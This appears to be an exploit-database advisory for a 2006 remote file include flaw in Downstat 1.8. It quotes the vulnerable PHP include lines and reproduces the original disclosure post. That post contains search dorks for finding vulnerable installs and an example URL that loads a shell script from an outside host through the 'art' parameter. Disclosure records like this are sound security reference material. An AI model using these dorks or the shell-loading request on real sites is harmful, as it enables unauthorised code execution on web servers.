Remote File Include Vulnerability in Downstat 1.8

vendor:

Downstat

by:

7,5

CVSS

HIGH

Remote File Include

CWE

Product Name: Downstat

Affected Version From: 1.8

Affected Version To: 1.8

Patch Exists: Yes

Related CWE: N/A

CPE: a:vmist:downstat

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2006

Remote File Include Vulnerability in Downstat 1.8

A remote file include vulnerability was found in Downstat 1.8, a web-based download counter. The vulnerability exists due to insufficient sanitization of user-supplied input to the 'art' parameter in the 'chart.php', 'modes.php' and 'stats.php' scripts. An attacker can exploit this vulnerability to execute arbitrary PHP code on the vulnerable system by sending a specially crafted HTTP request containing a malicious URL in the 'art' parameter. This can be used to gain access to the vulnerable system and execute arbitrary commands with the privileges of the web server process.

Mitigation:

The vendor has released a patch to address this vulnerability. Users are advised to upgrade to Downstat 1.8.1 or later.

Source

Exploit-DB raw data:

DESCRIPTION: Remote file include vuln found by sZ [sept, 8 2006.]
SOFTWARE: downstat 1.8
VENDOR URL: http://vmist.net/index.php?script=Downstat
DORKs:
"Login To Downstat 1.8"
allinurl:"/downstat/"
 

NOTES: greetz to: neo-vortex, sk0tie, icez. visit @ irc.bluehell.org #silenz
 

VULN CODE:
------
admin.php:
 
if(!@include($art."in_php.php")) exit("upload ".$art."in_php.php");
 
------
chart.php:
 
if(!@include($art."downstat_art/in_html.php")){ exit("upload ".$art."in_html.php"); }
------
modes.php
 
if(!@include($art."downstat_art/in_html.php")){ exit("upload ".$art."in_html.php"); }  
-----
stats.php
 
if(!@include($art."downstat_art/in_html.php")){ exit("upload ".$art."in_html.php"); }
----
 

EXAMPLE:
http://site.com/downstat1.8/chart.php?art=http://silenz.be/shell.txt?

# milw0rm.com [2006-09-13]